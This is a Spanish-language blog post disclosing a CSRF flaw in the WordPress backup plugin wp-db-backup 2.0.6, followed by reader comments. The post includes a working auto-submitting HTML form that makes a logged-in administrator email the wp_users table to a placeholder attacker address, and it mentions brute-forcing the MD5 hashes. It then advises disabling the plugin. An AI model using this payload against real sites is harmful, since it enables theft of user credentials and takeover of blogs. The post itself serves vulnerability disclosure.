Categories
CSRF Seguridad WordPress

wp-db-backup: ¡tus datos son míos!

wp-db-backup es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups generados sin mayor esfuerzo.

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>

        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

8 replies on “wp-db-backup: ¡tus datos son míos!”

Cada día me mola más este blog. Muy al dia y con temas muy variados, muy buenos tus post Alex`s 🙂

Casi, pero no. Los plugins para los backups mejor tenerlos desactivados por defecto, y sólo activarlos para cuando hagamos uso de ellos, digo.

Hace tiempo que me decanté por este otro: WP-DBManager, pero el de la versión para la rama WP 2.0. Hummm, veo que sólo está disponible ahora la versión para WP 2.10 http://www.lesterchan.net/portfolio/programming.php

Nota: estos días tengo que meter mano a otra bitácora con WP 2.10, así que tal vez te pregunte por algún plugin utilizado por su administrador.

#1, gracias por el comentario 😉

maty: tienes razón en que estos plugins deberían ser activados sólo cuando sea necesario, pero muchos generalmente olvidamos esa regla 😀

Sobre el plugin wp-dbmanager, creo es más vulnerable que el que comento en esta entrada 😉

Actualización de seguridad para WP-Database Backup...

WP-Database Backup es un plugin para WordPress que permite hacer copias de seguridad de nuestra base de datos MySQL, hasta hace poco era incluido de forma oficial en WordPress pero dado que ahora se puede importar/exportar en formato XML se está empez...

WordPress und die Sicherheit...

Rein gefühlsmässig hat die Anzahl der Updates und Upgrades von WordPress in den letzten Monaten, nicht zuletzt durch diverse Sicherheitslücken, ziemlich zugenommen. Dass auf Sicherheitslücken rasch reagiert wird, ist nicht nur löblich sondern auc...

Comments are closed.